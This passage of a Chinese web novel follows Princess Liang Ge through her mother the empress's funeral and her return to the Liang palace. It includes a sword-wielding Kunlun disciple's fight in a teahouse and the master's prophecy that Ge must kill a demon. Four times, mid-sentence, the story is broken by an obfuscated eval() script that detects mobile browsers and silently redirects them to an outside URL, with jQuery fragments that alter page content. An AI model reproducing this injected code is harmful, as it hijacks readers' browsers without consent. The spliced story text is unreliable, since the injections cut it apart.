大殿侧边连着佛堂,我们跨过中间高高的门槛,走进亮光的佛堂,老比丘尼身后盘坐着小沙弥尼,数十位比丘尼围坐成一圈,群声诵经。 四面白墙上燃着三圈蜡烛,白蜡烛蜡油垂落,高低不一,比丘尼围坐的地方铺着白布幔,大梁最贤明的皇后两手交握,置于身前,静静躺在铺着白布幔的板床上。 这是我的母亲。 “母后,阿葛回来了。”梁萧对她说。他紧紧攥着我的手。 我疑心她是不是只是睡着了。 “为什么……” 等听到嘶哑的问句,我才知道是我不由自主地问出了声。 梁萧松开手,揽过我的肩膀,轻轻地说:“母亲是在梦中离开的,并无痛苦,她缠绵病榻多年,离去于她而言是解脱。” 我怔怔不语。 旁侧比丘尼念道:“公主节哀。‘一切众生,临命终时,若得闻一佛名、一菩萨名,或大乘经典一句一偈,我观如是辈人,除五无间杀害之罪,小小恶业,合堕恶趣者,寻即解脱’,仁惠皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660321|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生前多施善行,此番仙逝,我等为她念经七七四十九日,愿她永得安乐。” 梁萧说:“哥哥如今只有你了,阿葛回梁京吧。” 仁惠皇后出殡那日,灵车由小小的归云古寺驶出,浩浩荡荡,蜿蜒数里,锣鼓喧天,哀乐齐鸣,驶向数十里外刚修缮完成的皇后陵。 梁王还在闭关悟道,太子扶灵。 我站在归云寺对面的山丘上,注视着这盛大的场景。我脚下的地方,母亲早年曾站在此处。 相传王妃高氏早年登高,行至此山间,见远处山寺,时天边流云聚散,高氏喟叹人生亦如是,云散之处,云归之时。 待王妃成了皇后,一日车驾路过寺前,停车入寺休整,皇后高氏站在寺院大殿的高阶上远眺,认出对面那山就是她少女时行过的小山,这寺就是她当年远远见过的山寺。 仁惠皇后因此心有所感,回宫后赠归云寺一匾,每岁前往添香若干。 天边的流云随风动,雾一般弥散在薄蓝的天际。 母亲当年见过的是否也是这样的云呢? 五月,槐树花开,哥哥派人来接我回梁宫,回宫的马车就停在池塘边的那棵槐树下。 母亲入皇后陵后,我又在归云寺住了月余,梁宫里隔三差五来信,催我回宫,我推脱说修养身体,一拖再拖。 昨日梁王出关,圣旨传到归云寺,召我回宫。拖无可拖。 从早晨起来绿朱就在我身边叹气,我问她说之前不是日日说着梁宫好,怎么现在也不想回去了。 她说:“我的公主啊,是我错了,梁宫早就不是当年的梁宫了,我们还是回昆仑丘吧,不、不,昆仑丘太冷,回有虞山也好。” “话说晚了,我现在只能回梁宫。” “为什么呢?皇后都住进皇后陵了,公主你的事都做完了啊。” 要说为什么,我也说不清楚,只是冥冥中感觉到,如果就此离开,我会失去一些再不可得的东西。 我对绿朱说:“如果你想去,我让人送你去有虞山住。” 绿朱急得跳脚:“公主你又不去,我去那破地方有什么用?!” 正走过槐树下,一阵风,槐花飘落,一片掉进我手里,我接住。 东宫的老太监吴公公在马车边等着,朝我行了一礼:“公主上车吧。” 绿朱气鼓鼓的,跟在我后面,识趣地住了嘴。 藏在袖中的手攥着那片槐花瓣,我扶着吴公公登上马车,突然手心一片灼热,我停在车帘外,张开手掌,槐花瓣上两个淡金的字迹缓缓浮现—— “归否?” 是梅雪上师的笔迹!她来了? 我往树上张望,槐树花在风中颤动,别无异样。 这时,车内传来几声轻咳,车帘随即被一只如玉的手拂开。 车内人淡笑着:“怎么不进来?外头风大。” 16. 东宫(一) 马车行驶在梁京大道的石板路上,车内两座间架着小桌,桌上奏折成山,我隔着成山的奏折托腮望着当今梁朝的东宫太子,我的哥哥,梁萧。 丧礼结束之后,我可以在寺中长住,他却不行。梁王闭关,梁朝上下一干事务都需人决断,自然落到了太子头上。 礼毕那日,我告诉他我想在归云寺再住一段时间,他要回宫处理别的事务,分别时说过几日再来看我。 这一月间,吴公公往返于梁宫与归云寺传信,他一次都没来。吴公公说殿下太忙了,实在抽不出身,说山寺寒凉,让我早日回宫安歇。 我也实在不愿意回去。眼看着槐树花苞一日熟过一日,终于绽开了白色的花朵,我忽想起来东宫庭院中栽着的流苏树。 宫里的流苏树也该开花了。 一阵轻咳打断了我的思路,梁萧放下笔,掩唇呛咳不止,我听得心惊,倒了杯茶水递到他面前,他摇头,我复又坐到他身边,抚着他的背。 他半倚在我身上,我们衣袍交缠,我衣袖里的槐花瓣不知什么时候掉了出来,落在他手边。 他捡起,端详片刻,好在花瓣上的金字已消失不见,这只是一片被揉皱的槐花瓣。他将它丢到一边。 “阿葛。”他低低地叫我名字。 “嗯。” “回来吧,回来我身边。” 我不语。 “宫里的流言已被惩治过,你是大梁朝的公主,再无人可欺你。”他握住我的手。 他的手是冷的,我忍不住反过来握住他。 我看他的脸,比起一月前要清减不少,太子也许不是个好差事。 “阿葛,我只有你了,我会护住你。” 他将我抱进怀里,这一刻,我看见他背后的窗棂上倏忽掠过影子。是长街侧道楼房的阴影。马车驶过长街,车轮在我身下,朝着梁宫滚滚向前。 我倚在他的肩头,隔着衣衫,他的心跳不可捉摸,他说得认真,像是承诺,又像是央求。可是,我在心里轻轻地问,为什么呢? 明明是大梁的太子,一人之下万人之上的东宫殿下,为什么像一个一无所有的人呢? 而我不会拒绝他,因为,他是我的哥哥。 * 元吉十八年二月十六日,仁惠皇后薨逝,卒年三十六,谥号仁惠贞皇后。是年四月,仁惠贞皇后落葬不系山皇后陵。 仁惠贞皇后薨逝后,梁王闭关问道,暂由太子梁萧代理国事。因母故,公主梁葛由昆仑丘返京,为母奔丧。帝念公主久在外,心不舍,命公主留京,勿归昆仑。 公主回京的消息从梁宫的围墙里传到围墙外,在大街小巷传得沸沸扬扬。要说这天子家事,一介公主而已,本不应引起如其多流言。 “此女多凶,世道将丧于此啊!” “咱们这公主葛,是个天生的灾星!” 小茶馆的醒木一拍,张说书一吹胡子,将身子坐直了。 台下嘈杂的看客收了声,目光纷纷移向茶馆正中搭起的高台上。这间茶馆有两层,不光卖茶,也有几间客房供食客休憩小住。 茶馆一楼正中有专门的台子,每日请说书人坐台评书。自仁惠皇后大行,梁京停音乐、禁屠宰、停嫁娶,皇帝罢朝闭关,太子城外守灵,满城肃穆。 仁惠皇后是顶顶的贤后,此番薨逝,梁京子民听闻大多哀伤不已。只是这禁乐的禁令足足有七七四十九日,人们心中尽管哀伤,这余哀也没持续到皇后落葬后。 皇后丧礼毕后,街道衙门里早晨传出禁令取消的消息,上午小二忙将高台洒扫除尘,中午张说书就重新坐上了台上的太师椅。 接下来的事,发生在禁令解除的一月后,茶馆萧条的门庭复又来客如织之际。 “此话从何说起?” “是啊!这怎么说?快快说来!” 听见台下的追问声,张说书脸上几分得意,他暗压嘴角,一捋长须,问道:“诸位可知公主葛名字来由?” 众人摇头。 张说书一见,脸上的得意之情已经掩饰不住,正当此时,二楼柱旁传来吟哦:“‘彼采葛兮,一日不见,如三月兮。彼采萧兮,一日不见,如三秋兮。’当年帝后少年夫妻,深情厚谊,生女名葛,生子名萧,可叹,可叹。” 这句感叹意味深长,不知是感慨还是遗憾,总之落到张说书耳中,让他的包袱落空,甚是不悦耳,他咬了后槽牙,说道:“姑娘高见,正是如此。那老夫再问诸位,可知公主为何六岁离宫远赴昆仑丘?” “为什么?!” 台下议论纷纷。 二楼柱旁又接话了:“六岁幼女孤身赴昆仑,自是有不得已情衷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660322|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张说书重新开张第一天,没想到就遇到了拆台的人。还是个女子! 他心底气极,面上按了下来,醒木一拍,引得众人目光重回高台。 他音调陡高:“当然是因为预言!” “是因为人言。” 楼上楼下同时发声,众看客一时看高台,一时扭头看二楼上,张说书怒急,拍案而起:“藏头露尾,小人之行!姑娘若真有真知灼见,何不露面与老夫一辩高下?” 楼上静了几瞬,传来女子笑声:“我与你有何可辩?我原是来此处歇脚,饮口茶水,谁知听见街头老儿妄论昆仑道徒是非。我若不先说,你怕是又要搬出那些风言风语,让当年的流言在今日梁京再流传一番了。” 女子桌前起身,走到二楼木栏前,众人观她白衣青冠,额发高梳,身后还背着一柄收鞘的长剑。剑观不得,只见那剑鞘上流光暗转,也知是把好剑。 女子笑着,两臂前倾倚着栏杆,目光直视高台上:“你这老儿,成日里信口雌黄,也不怕走路上遭雷劈。” 张说书一惊,被人拆台他本来心里气怒,但他看见来人装束,心知这人惹不得。 这人是昆仑一派的人。 当今世间修道者众,大小教派多如牛毛。昆仑一派依昆仑丘而存,道徒喜着白衣,平日里远离世事,于世间多是一个淡漠的影子,但不可能有人不惧。 只因昆仑丘,可通天。 张说书有苦难言,只后悔今天出门没看黄历。他急急抹脸换了副表情,对二楼连连作揖:“道姑千里跋涉来京,何苦专拆我一个说书人的台?” 女子摇头:“不是专拆你的台,是你说了我不爱听的,我只能拆拆看了。” 说话间,女子身后长剑出鞘,银光飒如流星,直劈高台桌案,一时间只闻木裂声响,木屑炸飞,那剑停在张说书鼻尖处,张说书早已吓得腿软倒地。 女子立于他面前,冷冷看着他,张说书心叹吾命休矣。 仅是一个呼吸间,眼前银光又一闪,女子抬手剑已归鞘。 茶馆里一片死寂,直到尘埃落定才传来窃窃私语,没人看清女子是怎么从二楼突然到一楼台上的。 这就是昆仑的剑。看客叹服。 女子面上八风不动,心里挠头。这么多年没出山,好像一出山……就冲动了。 17. 东宫(二) 茶馆斗殴的消息传到东宫的时候,已经是黄昏时分,是我回东宫的三日后。 梁萧同我说,我原本在宫中的寝殿年久失修,还需时日修缮,这段日子我就住在东宫。 我对于梁宫来说全然是个外人,未央宫已空,我无处可去,东宫是我回来后落脚的地方,这次再见,庭院里的流苏树竟然也有几分亲切,回来那日见到的流苏树果然开花了。 这几日,我想着槐花瓣上出现的字迹,心想要和师梅雪上师见一面,至少她是可以相信的人。 我出生时的传言,她是最清楚不过的人。 正当我思索如何才能得知梅雪上师的行踪,吴公公带着宫外的消息匆匆赶来。 “说是昆仑来的人,拿剑劈了茶馆的说书台子,茶馆小二叫来县衙的人,很是不服气,扬言要拿剑劈人!县衙告到京兆府,京兆府那儿也是刚刚才得知的消息,马不停蹄传信来东宫了。” 吴公公粉白的脸皮涨红了,一边说一边拿帕子擦额头急出的汗珠。 东宫正用膳,我给他倒了杯茶水,他摆手不肯接。 “老奴这就派人去正德殿告知太子殿下。” 我说:“先不忙让哥哥知道,既是昆仑来的人,又用剑,可有看清剑是什么剑?” 吴公公回道:“这倒是没说,就说了是一名高挑女子,白衣青冠,用剑极快,言辞放肆。” 绿朱立于我身侧,听完贴到我耳边耳语几句。 我说:“我知道了。劳烦吴公公备车马,送我去京兆府一趟。” 从东宫驶出的马车行至京兆府已是夜间,离白天的闹剧过去了半日,京兆府门房灯火通明,府尹在上,衙役在下,无一人敢懈怠。 绿朱托着我的手,我从马车上下来。 “公主到!” 传报声像投石入湖的涟漪,向着这座大宅的深处荡去。 凤钗压得我头重,我挺直脖子,走上仪门,一路走到堂前,衙役们的小声议论钻进了我耳朵。 “公主?哪来的公主?” “就是仁惠皇后的女儿,太子的妹妹!” “啊……那位啊……” 我一进来,堂上堂下跪倒一片,站着的除了我和绿朱,只剩下白衣女子,她负剑站得直挺挺的,脚边跪着一个长胡子老头。 绿朱在我身后小声说:“是大师姐,是她!” 女子也看见了我,目光定在我脸上,似是不可置信。 我说:“诸位请起。本宫在东宫听闻师姐被京兆府捉去了,其中想必有误会。” 府尹朝我拱手,将今日事情的原委说与我听,我听完点头,说:“毁了的台子、伤了的人都赔,不过这人,我要带走。” “公主,按大梁律令,以手足殴人须下狱七日,以器物殴人则须下狱半月。” 我在搬来的太师椅上坐下。 京兆府尹是个眉目高深的年轻人,面容温和,语气却不容置喙:“天子犯法与庶民同罪,臣不敢徇公主私情。” 他说的有理,我一时间也找不到更好的理由,这时,绿朱附在我耳边说:“如果公主非要带人走,他不能如何。” 我看向绿朱:“当真?” “当然,您是公主啊,这是在梁京,”绿朱压低一点声音,“您的地位比他高多了,他不敢说不。” 我沉吟,偷偷瞥对面一眼,这位府尹大人似乎是听到了绿朱的话,脸色明显黑了几分。 正当我犹豫要不要用公主的名头将人带走,一直默默看着我没说话的白衣女子出声了。 她说:“阿葛,跟我走。” 我眼前一晃,她白色的身影已来到我面前,她一把抓住我的手腕,对我说:“跟我回昆仑丘。” 绿朱急忙说:“梦陵师姐,这是在梁京,你不能对公主这样!” 女子另一只手抓住她的肩头:“阿朱你也跟我走。” “梦陵师姐不行的!” 绿朱看起来和这女子很熟,两人竟然就在这剑拔弩张的大堂上攀谈起来。 女子问:“听梅雪上师说阿葛失忆了,是真是假?” “是真的。”绿朱说。 “凤尽寒那家伙好没本领,说是把人医好了,这叫医好了?” 女子语气颇有几分恨铁不成钢,绿朱不禁缩了缩脖子。 “有虞不能医,梁京也待不得,留在这作甚?” 绿朱脸皱成了苦瓜,她又被女子抓住了,女子怒道:“你俩都跟我走,现在就走!” “谁都别想走!” 一阵风自天井吹来堂间,随之涌进来一堆披坚执锐的侍卫,顷刻间将大堂围得水泄不通。 夜色里,一人走来,边走边咳,周身气势却不弱,走到明亮的厅堂了,才看清他一身雪袍,像暗夜里的雪。 他隔着众人,径直瞧向我:“阿葛,你要和谁走?” 要和谁走呢?我想。一个两个的,倒是也没问过我啊。 梁萧一进来,堂上堂下山呼海啸又跪倒一片,除了突然冲进来的那群黑漆漆的侍卫,现在站着的只有我和他,以及,这位看起来和我很熟的师姐。 阿葛是谁?谁是梁葛?这两人口口声声说的是谁? 头上的凤钗扯着我往下坠。 公主是什么东西,我的出生为什么要背负世间兴衰的预言? 也许我不是梁葛。也许我什么都不是。我想。可此时此刻我无法不是她。 * 离开京兆府时已是夜深,宵禁时分,梁京城里静悄悄的,更夫敲响了三更的梆子。 梦陵师姐带我穿过无人街巷,走进一条不起眼的窄巷。 “这里。” 像闲庭信步,她随手推开巷里一间普通民居的门。大隐隐于市,主人如此心大,连门都不锁。 小院的草木间藏着蛐蛐的叫声,灯影落在碧纱窗上,灯下有人捧读。 再见到梅雪上师,我想要跪在她膝前,让她如同我刚醒来时那样摸摸我的头发。 于是我走进屋子,坐到她淡色襦裙边,将头靠在她膝旁。 头上的凤钗传来轻微的震动,被碰了下,我抬手摸去,带着几分赌气拔下它丢开。 “回来可有后悔?”梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660323|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪上师从我头上传来。 我下巴垫在她膝上,声音闷闷的:“我只是……不知为何。” 我听见她笑了,扶着她膝头,仰面去看她的脸。 梅雪上师有一张极为素净的脸,和一双宁静的眼睛,如果你见过她,你会记不起她的样子,只记住她留下的感觉。 梅雪上师给我的感觉正如她的名字,不是梅傲于风雪,而是梅隐于风雪。 我说:“上师,您当年为何收我为徒,又为何带我回昆仑丘?” 梅雪上师将手里的书卷搁下,说:“我六岁入昆仑,拜师参道,入门第一天,我师灵均就告诉我,我此生使命是收一人为徒,而这人,是世间大乱的解法。” “十岁,我跟随灵均上师来到梁京,老梁王以师礼叩拜灵均,我因此入了钦天监。后来,灵均上师仙逝,老梁王也死了,我还没等到我要收的徒儿。直到高皇后生产那日,我算出她的孩子是极凶的命格,高皇后雪夜求见,求我保住她的孩子。我答应她收你为徒,这是一切的起始。” 极凶的命格,我在心里默念,这是我的命? 这些日子,我从不同人那里听说了这个传言。传言说梁朝生于元吉二年夤夜的公主,自出生那日便被下了判词——“此女多凶,世道丧于此矣。” 绿朱怒骂都是一干吃闲饭说瞎话的,要我别理这些无稽之谈。 我听了并不以为这位公主与我有怎样的关系,反而像是在听旁人的故事,只是我心里不免有诸多好奇,这次再见到梅雪上师,终于有人可问了。 我告诉梅雪上师我听说的这些话,问她那句判词的来历。 梅雪上师笑说正是她说的。 我:“啊?” “我那夜的原句是,‘此子多凶,世道丧于此矣’。”梅雪上师笑意幽深。 我不解,追问道:“我与哥哥同年、同月、同日、同时所生,若命盘以此推断,为何是我的命不是他的命?” “其原因有二,你且听我说来。” 我坐到梅雪上师身边,她捡起榻上的凤钗挑了挑桌上油灯的灯芯。 火光烤过金色的凤钗,金色的钗身愈亮。 她说:“我推演出孩子的命盘,当夜入宫将结果告知梁王时,才知道皇后生的是双生儿。我截断梁王殿旁蓍草再卜一卦,卦象说高皇后的孩子,一人先生,一人后生,后生者,乱世之始。我刚收卦,未央宫来报说接生产婆意外溺毙于井,”金钗被握于掌心,“而后生者,只能是你。” 我怔住:“只能是我?” 梅雪上师说:“是,哪个孩子先出生的,连高皇后也不知。” 我说:“所以您才收我为徒?” 梅雪上师摇头:“非也,在我听说高皇后产女之时,我就知道你是我一直在等的徒儿。” “昆仑门规,只收女儿为徒。” 其中缘故让我错愕不已。如果是这样,那么乱世之始的预言…… 梅雪上师说:“天下万事万物,相生相克,乱世由此始,也当由此终。” “阿葛,你今生使命,唯杀魔而已。” 18. 东宫(三) 从梅雪上师的住处回到东宫时,东宫的殿里点着灯,吴公公在门口走来走去,一看到我就迎了上来,一张老脸笑得都绽开了花。 “公主回来了?” “嗯,回来了,”我点头,“哥哥呢?” “殿下在书房。” “还没睡么?”我惊讶。 走上抄手游廊,隔着庭院花木,我看见书房纱窗亮着光,吴公公跟在我身后说:“殿下在等着公主回来呢。” 我低头笑了下,问:“阿朱在哪?” “那丫头倒是去睡了,我去叫她过来伺候。” “不用,”我说,“让她睡去吧。” 残月斜挂,在树梢后时隐时现。 我要吴公公也回去,独自走向书房,走到门边,我闻见书房里沉水香的味道,像是燃了一夜,满了出来。 我走进去,落脚的声音很轻,刻意没有惊动任何。 走到画屏边,靠墙的刻漏发出水流的声响,我倚在那儿看了会儿,那人正专心于手上的文书折子,没有察觉。 我幽幽出声:“哥哥,你是连阿朱也不如了。” 他像是没听见我的话,走笔未停,我走过去,身子压在他的书案上,头探到他脸前。 “我说过我会回来,怎么会骗你呢?” 他还是对我视若无物,我伸手去捉他的笔,他手里的笔尖却转了个弯,在我脸上落下冰凉一点。我顿时捂住额头。 他眼里有笑,嗔我:“这么晚回来还敢和我大声。” “怎么不敢,我还敢呢,”我捂着额头也笑了,“你在等我吗?这堆破折子有什么好看的,从天光看到晚上也没见看完。” “今日看不完,明日的新折子又送过来。” “看不完又如何,梁京的天还能塌了不成?” 他一本正经:“天塌不了,不过有人会遭殃。” 我放下手,瞧着他,灯火映着少年人的脸,我突然发觉,他才是和母亲相像的那一个。 “我知道你会回来,”他眸中有淡淡的笑意,“如果昆仑要带你走,我留不住你。” 他合起手里的折子,又拿起一本新的,我凑过去看,说的是南边哪个县,连月多雨闹水患的事,我不敢打扰,在旁边安静了一会儿。 等他朱笔蘸墨的间隙,我问:“哥哥,你能不能告诉我你想要什么?” “嗯?” 朱红的笔尖在砚台边沿轻撇,落回纸上,横平竖直又写下一行。 我说:“你想要皇位吗?” 笔尖一顿,片刻,又继续行云流水地写下去。 “在父皇面前万不可说这种话。” “那是什么呢?” 离开小院前,梅雪上师对我说,人心生妄欲,因而生魔。 我问她,人心的妄欲是什么。 “人心是世间最脆弱又最坚硬的东西,若有什么求不得,时间一久便生出执念,经年累月的执念催生出妄欲,人经由妄欲堕魔道。” 梅雪上师说,人若是成了魔,就会每时每刻都在痛苦的欲念里煎熬,会在漫长的时间里苦于求不得,却永不可再得。 “可是,”我问,“人求的是什么呢?” 名利钱财,荣华富贵,百世流芳? 梅雪上师只是笑着摇头。 我说:“如果求而不得的东西得到了,不就不会生魔了吗?” “阿葛,你有一颗石头的心,魔非你不能杀。杀魔是果,你到时便知了。” 夜风拂过窗棂,我欺身压过桌上的文书折子,一手撑在他面前,要他不能不看我,他也确实看了我,只是这双霜雪一样的眼睛里的东西,是我所不能看懂的。 “你要什么呢,哥哥?我都帮你找来。” 我与他眼对眼,看见他眼角下弯,明晃晃有了笑意。 “为何突然间说这样的话?” “因为你对我好,我也想对你好。” 我早想好了应对的说辞。 他闻言又笑了,将我鬓边的头发掠到耳后,这是夏夜,他的手依然是凉的。 “你在就好,别的我都不要。” 这样的人,这自出生便有天下的人,还能有什么求不得呢?我想不到。 我十六岁的死劫已过了,梅雪上师为我推出的命盘说我寿终不满二十。就在这不到四年的时间里,我要完成我杀魔的命。 与我同母而生的这个人,我出生的命运就是为了杀死他。 * 七月,闭关三月有余的梁王出关了,传旨要我面圣。 早晨圣旨传到了东宫,吴公公安排宫女为我梳洗打扮。回宫多日,我终于梳起了后宫宫眷头上那样繁复的发髻。 说起来好笑,要绿朱帮我梳,她也不会,只能临时求助吴公公,好在吴公公神通广大,叫来了厉害的宫女,才处置了我这头长发。 顶着日头,我从东宫走向正德殿,吴公公在路上不停叮嘱我见到皇上的礼仪,要我千万不能失了规矩。 “什么规矩?” “公主的规矩啊,我的殿下。” 可这宫里是少有人把我当公主看的,这些日子我早就知道了,离开东宫的范围,这座梁宫里的一切都不欢迎我的到来。 也许是因为我出生时传开的那句话。 每当我走出东宫,路上遇到的宫人总会远远避开我,绿朱因此气恼,我说得个清净也好。 去往正德殿的路是陌生的,我从未走过,也不知道这条路走起来这么长,直到邻近正午,我才看到正德殿的殿门。 到了正德殿,吴公公不能再送我,用担忧的目光目送我,绿朱跟在我身后一路没说话,她也在为要见到梁王不安。 我问过她梁王长什么样,她说她也记不得了,她离宫时年纪和我一样大,只记得从前梁王一来未央宫中,宫里没人敢出声说话。 我因此猜测梁王是个严肃的皇帝。 我被正德殿的公公带到偏殿,正德殿的和公公告诉我,皇上正在用膳,让我在这里等。 我在偏殿的榻上坐下了,窗外是一池风荷,我探腰推开窗户,让水上的风能吹进来。 大约等了半个时辰,殿中来人传我觐见,我整理衣饰,跟随过来传召的公公过去。 外面日头正烈,庭院花木葳蕤,灼灼的暑气,殿里地砖却是凉的,踩在上面,凉意穿透我的鞋底,让我的脚微微发麻。 里面传来孩子的声音,我走过珠帘,桌上碗碟还未收,桌边坐着一位妇人,头梳堕马髻,珠钗斜插,手指逗弄着襁褓里的婴孩。 我疑心这里怎么会有这么小的孩子,目光一移,才看到边上正坐的华服男子。 我谨记吴公公说过的话,屈下膝盖,深深地低下头,不敢直视天颜。 “拜见皇上,皇上万福金安。” 话一出口,和早上吴公公教我的两模两样。 不该这么说。 该怎么说来着? 没等我想明白,那人对我说:“过来,让朕看看你。” 我低头,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660324|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地走过去,直到看见滚着金线的袍边。 “抬起头。” 那人说。 于是我抬头,看见当今天子的眼睛。 那是一双……有点老的眼睛,眼皮松弛,瞳孔里有浑浊的部分,我看不清,他平时是个威严的人吧,所以才在眉心攒下了几道深深的纹路。 我不知道自己看了他好久,直到他的手掌握上我的肩头。 “要叫父皇,知道吗?” “哦,父皇。” 对了,我终于想起来了,吴公公教我的话就是让我叫父皇。 可我很难将这人和父亲联系在一起,我见过了死去的母亲,那父亲是什么东西?尤其当他身边坐着另一个美丽的女人。 “公主长大了。” 那个美丽的女人对我笑,我辨认出她笑容里的善意,也对她微微地笑,却不想那女人在看见我笑的瞬间突然红了眼睛。 襁褓里的孩子见母亲落泪,跟着啼哭起来,场面一时混乱,女人唤来乳母抱孩子出去哄。 孩子在那哭的时候,梁王闭眼捏着左手里的念珠,等乳母抱远孩子,室内终于安静下来,他才睁开眼睛,却是看着虚空的位置。 “爱妃此态何故?” 女人拿手帕拭泪,起身对梁王盈盈一礼:“臣妾见公主如见故人,忆起旧日与姐姐的姐妹情谊,一时情动,在皇上和公主面前失礼了。” 梁王闭眼长叹:“你受苦了,孩子。” 我不知该说些什么,只是呆呆地站在那里。 似乎我生的这张脸已经足够让人动容,贤贵妃说起我小时候的事,那是在我去昆仑之前,贤妃在我三岁那年刚入宫,一入宫便得了嫔位,母亲常带着我去她宫中走动,两人以姐妹相称,结下了不浅的情谊。 贤妃叹道:“公主离宫时年纪那么小,如今也出落成大姑娘了。” 梁王眼微阖,拨弄念珠的拇指没停过。听到这话,他微微抬起下巴,像是在想什么。 “十六了吧?” “是,”贤贵妃说,“太子殿下今岁生辰时还提过妹妹呢,皇上都忘了吗?” “太子……”梁王偏头问,“太子今日在哪里?” 我答:“哥哥早晨去尚书省议事了。” 贤贵妃笑说:“太子殿下向来是勤于政务的。” 梁王也笑微微的:“说起来倒是朕偷懒了。” 贤贵妃说:“皇上您开了一朝盛世,才有现如今百姓的安生日子,太子替您忙的是人间事,您修的是大功德。” 梁王这才开怀,喟叹道:“知我者,非爱妃莫属。” 两位一唱一和,好似神仙眷侣,我站在边上,瞥见贤贵妃淡红罩裙上的花样,像芍药,又像牡丹。 此时乳母将孩子抱了进来,贤贵妃抱着孩子要我去看,我看孩子一张粉面,黑漆漆的眼睛滴溜溜看着我,不禁问:“是女孩?” 贤贵妃说:“叫艾儿,是春日里出生的。艾儿的姐姐回来了,这下可高兴了。” 正午偏斜,我两手交握着离开了正德殿。 走在路上,我不断想起捏着念珠的那只手,那只天底下最尊贵的手没有一点茧子,软得像一团泥。 皇帝的手都是这样吗? 看起来干净柔和,却轻易拨动这天下的风云。 停下脚步,我抬头望向这片天,今日天气十分好,朱墙映着碧空,偶有孤云,在梁宫里落下阴影。 是这样吗? 世间会因这样一只手而乱吗? 19. 窥道(一) 乱世……是什么样的? 自从那夜与梅雪上师长谈后,我心底时常生出这样的疑问。 乱世是更坏的世道吗? 如果乱世是坏的,那现在的世道是好的吗? 我问梅雪上师,她说:“你要自己去看。” 我自己去看,用我的眼睛去看,我看见梁京的朱雀大街上车水马龙,看见寻常巷陌,王侯宅邸,看见汉白玉栏杆围起来的城楼后辉煌的梁宫。 我看见生于这座皇宫的人。 我问梁萧,乱世是什么样的,他说:“东汉末年时朝纲秽乱,《后汉书》中载道,‘是时谷一斛五十万,豆麦一斛二十万,人相食啖,白骨委积’。如果天下乱到百姓日难果腹,夜难安寝,人相食啖,易子而食,那就是再坏不过的世道了。” 我问绿朱,乱世是什么样的,绿朱奇怪道:“公主怎么突然问这个?我出生的时候就是乱世了啊。公主不记得了,我是被我娘送进宫里来的,她求宫里管事的嬷嬷收我进宫,因为我跟着她只能饿死,还好我进宫了,不然只能像她和我爹一样了。” “你娘和你爹现在在哪?” “当年梁京闹饥荒的时候早死了吧。” 她满不在意地说。 又一日,我来到梅雪上师在巷子里的住处,梦陵师姐刚从外地回来,坐在院中的石凳上擦她的剑。 她拿粗布包着剑身,擦了一遍又一遍,我蹲在旁边看,实在看不出来这雪亮的剑刃还有什么好擦的。 我托腮问她:“梦陵师姐,你说乱世该是什么样的?” 又一次,她拿布从剑柄处一路擦到剑尖,擦完,她举起剑。 “来看。” “已经擦得很干净了。”我说。 “这是一把刚从乱世里杀回来的剑,”她淡淡地看着我,“能看到剑上缠着的魔气吗?” 我摇头,然后被弹了一个脑瓜崩。 我捂住额头,梦陵师姐朝屋子里喊:“上师!师妹现在连我剑上的魔气都瞧不出来了,这怎么行!咱们昆仑的脸都要被丢干净了!” 过了会儿,梅雪上师从屋子里露出脸,伸了个懒腰,抬头看天,笑眯眯道:“今天天气不错,是时候了。” 午后,忽大雨。 雨打在房顶的瓦片上,撞出噼啪的声响,落在庭院里,扬起的飞尘不一会儿就混成了泥土。 小屋被天地间声势浩大的雨幕隔绝,屋里四人围桌而坐,桌上放着一个木箱。 杜梦陵一手拍在箱子上,在三人目光中,对着箱面吹了口气,拂去表面浮尘。 绿朱说:“哎哟大师姐,这箱子这么干净哪里有灰,你就赶紧打开吧。” 杜梦陵:“急什么,上师还没发话呢。” 梅雪上师颔首:“阿葛,箱子是你的,你来打开。” 